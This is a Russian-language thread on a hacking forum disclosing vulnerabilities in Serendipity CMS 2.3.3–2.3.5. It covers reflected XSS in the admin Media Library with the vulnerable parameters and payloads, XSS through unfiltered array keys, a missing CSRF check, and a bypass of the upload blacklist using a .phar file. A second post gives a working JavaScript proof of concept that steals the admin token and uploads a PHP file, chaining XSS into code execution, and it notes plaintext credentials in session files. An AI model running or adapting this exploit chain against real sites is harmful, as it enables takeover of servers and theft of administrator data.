Serendipity CMS

Discussion in 'Веб-уязвимости' started by Baskin-Robbins, 24 Oct 2020.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Бегло пробежался.

    Оф.сайт - s9y.org
    Уязвимы 2.3.3 - 2.3.5, возможно более ренние версии.

    Reflected XSS в админке #1


    XSS в поле поиска Media файлов - Media Library.
    Пример запроса:
    Code:
    http://localhost.com/serendipity/serendipity_admin.php?serendipity[token]=86ff44208384e04d098c1ee7b69761e0&serendipity[adminModule]=media&serendipity[action]=&serendipity[adminAction]=&serendipity[toggle_dir]=no&serendipity[only_path]=&serendipity[only_filename]=&serendipity[filter]=&serendipity[only_path]=&serendipity[filter][fileCategory]=&serendipity[filter][i.date][from]=&serendipity[filter][i.date][to]=&serendipity[filter][i.name]=&serendipity[keywords]=&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC&serendipity[sortorder][perpage]=8&go=Go!
    
    1)
    Уязвимые поля:
    serendipity[filter][fileCategory]
    serendipity[filter][i.name]
    serendipity[filter][i.date][from]
    serendipity[filter][i.date][to]
    serendipity[sortorder][order]
    serendipity[sortorder][ordermode]
    serendipity[sortorder][perpage]
    serendipity[hideSubdirFiles]

    2)
    Наша страница содержится в templates/2k11/admin/media_items.tpl
    Добираясь, наши данные проходят три функции в include/functions_images.inc.php
    showMediaLibrary -> serendipity_displayImageList -> serendipity_showMedia -> media_pane.tpl
    Несмотря на то, что с формой отправляется токен, ни в одной из этих функций нет проверки
    CSRF токена, форма работает как с токеном так и без него.


    3)
    Некоторые элементы массива фильтруются еще до попадания в media_items.tpl,
    например serendipity[only_path] или serendipity[only_filename], другие
    средставами шаблонизатора Smarty в самом файле, но указанные выше -нет
    и попадают они вот сюда:
    Code:
    <script>
       $(document).ready(function() {
           // write: is plain "foo", read: is "serendipity[foo]"!
       {foreach $media.sortParams AS $sortParam}
    
           serendipity.SetCookie("sortorder_{$sortParam}","{$media.sortorder.{$sortParam}}");
       {/foreach}
       {foreach $media.filterParams AS $filterParam}
    
           serendipity.SetCookie("{$filterParam}", "{$media.{$filterParam}}");
       {/foreach}
    
           serendipity.SetCookie("only_path", "{$media.only_path}");
    
           serendipity.SetCookie("only_filename", "{$media.only_filename}");
    
           serendipity.SetCookie("hideSubdirFiles", "{$media.hideSubdirFiles}");
       {foreach $media.filter AS $k => $v}
           {if !is_array($media.filter[{$k}])}
    
           serendipity.SetCookie("[filter][{$k}]", "{$media.filter[{$k}]}");
       {else}
           {foreach $media.filter[{$k}] AS $key => $val}
    
           serendipity.SetCookie("[filter][{$k}][{$key}]", "{$media.filter[{$k}][{$key}]}");
           {/foreach}
       {/if}
       {/foreach}
    
           $('#media_pane_filter').find('.reset_media_filters').addClass('reset_filter');
           $('#media_pane_sort').find('.reset_media_filters').addClass('reset_sort');
    
           $('.reset_filter').click(function() {
               $('#media_filter').find('input[type=text], input[type=date]').each(function() {
                   $(this).attr('value', '');
               });
           });
           $('.reset_sort').click(function() {
               $("#serendipity_sortorder_order option:selected").removeAttr("selected");
               $("#serendipity_sortorder_order option[value='i.date']").attr('selected', 'selected');
               $("#serendipity_sortorder_perpage option:selected").removeAttr("selected");
               $("#serendipity_sortorder_perpage option[value='8']").attr('selected', 'selected');
           });
       });
    </script>
    
    Пройдет простой </script><script>alert()</script>



    Reflected XSS в админке #2

    Тот же файл, те же функции, но теперь необходимо обратить внимание на самое начало
    шаблона media_items.tpl:
    Code:
    <div class="has_toolbar">
        <h2>{$CONST.MEDIA_LIBRARY}</h2>
    
        <form id="media_library_control" method="get" action="?">
            {$media.token}
            {if empty($media.form_hidden)}
    
            <input type="hidden" name="serendipity[adminModule]" value="media">
            <input type="hidden" name="serendipity[action]" value="">
            <input type="hidden" name="serendipity[adminAction]" value="">
            <input type="hidden" name="serendipity[only_path]" value="{$media.only_path}">
            {else}{$media.form_hidden}{/if}
    
    Тут понятно, элемент form_hidden массива media пустой - выводим шаблон, не пустой -
    выводим form_hidden.
    Откуда он берется?

    include/functions_images.inc.php:serendipity_showMedia()
    PHP:
        $form_hidden '';
        
    // do not add, if not for the default media list form
        
    if (($serendipity['GET']['adminAction'] == 'default' || empty($serendipity['GET']['adminAction'])) && !$serendipity['GET']['fid']) {
            foreach(
    $serendipity['GET'] AS $g_key => $g_val) {
                
    // do not add token, since this is assigned separately to properties and list forms
                
    if (!is_array($g_val) && $g_key != 'page' && $g_key != 'token') {
                    
    $form_hidden .= '        <input type="hidden" name="serendipity[' $g_key ']" value="' serendipity_specialchars($g_val) . '">'."\n";
                }
            }
        }
        
    // далее $form_hidden попадает в $media
    Ключи массива не фильтруются, в отличии от значений и попадают в файл шаблона.
    Можно передать serendipity[хоть_что], например serendipity["/><script>alert()</script>]=XSS.

    XSS в имени ключа также справедливо и для serendipity[filter][*] несмотря на то что
    попадает в код, указанный для XSS #1.



    Insecure File Upload в админке

    Загрузка файлов - это наверное первое на что стоит обратить внимание.
    Нам разрешается загрузка широкого диапозона файлов, за исключением
    файлов "with active content". А проверяется он по расширению - black list.

    include/functions_images.inc.php:serendipity_isActiveFile()
    PHP:
    function serendipity_isActiveFile($file) {
        if (
    preg_match('@^\.@'$file)) {
            return 
    true;
        }

        
    $core preg_match('@\.(php.*|[psj]html?|pht|aspx?|cgi|jsp|py|pl)$@i'$file);
        if (
    $core) {
            return 
    true;
        }

        
    $eventData false;
        
    serendipity_plugin_api::hook_event('backend_media_check'$eventData$file);
        return 
    $eventData;
    }
    И мы спокойненько грузим phpinfo.phar с содержимым:

    Code:
    <?php phpinfo(); ?>
    
     
    #1 Baskin-Robbins, 24 Oct 2020
    Last edited: 26 Oct 2020
  2. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Небольшое дополнение.
    Демонстративный POC XSS->RCE via Phar
    Code:
    let page = 'http://localhost.com/serendipity/serendipity_admin.php?serendipity[adminModule]=media';
    
    function stealToken(data) {
       let dom = new DOMParser();
       let doc = dom.parseFromString(data, "text/html");
       let input = doc.getElementsByName("serendipity[token]")[0];
       
       submit(input.value);
    };
    
    function submit(token) {
        let blob = new Blob(["<?php phpinfo(); ?>"], {type: 'application/octet-stream'});
    
        let formData = new FormData();
        formData.append("serendipity[token]", token);
        formData.append("serendipity[action]", "admin");
        formData.append("serendipity[adminModule]", "media");
        formData.append("serendipity[adminAction]", "add");
        formData.append("serendipity[userfile][1]", blob, "0evil.phar");
        formData.append("serendipity[target_filename][1]", "");
        formData.append("serendipity[target_directory][1]", "uploads/");
        formData.append("serendipity[column_count][1]", "true");
        formData.append("serendipity[imageurl]", "");
        formData.append("serendipity[target_filename][]", "");
        formData.append("serendipity[target_directory][]", "");
        fetch(page, {
                method: 'POST',
                body: formData
        });
    }
    
    fetch(page)
        .then(r => r.text())
        .then(d => { stealToken(d) });
    

    Плюс не бага, но важно - в файлах сессии хранятся в открытом виде логин, пароль, почта, чего быть не должно.
     
    #2 Baskin-Robbins, 6 Nov 2020
    Last edited: 14 Sep 2021
    dmax0fw, seostock, CyberTro1n and 2 others like this.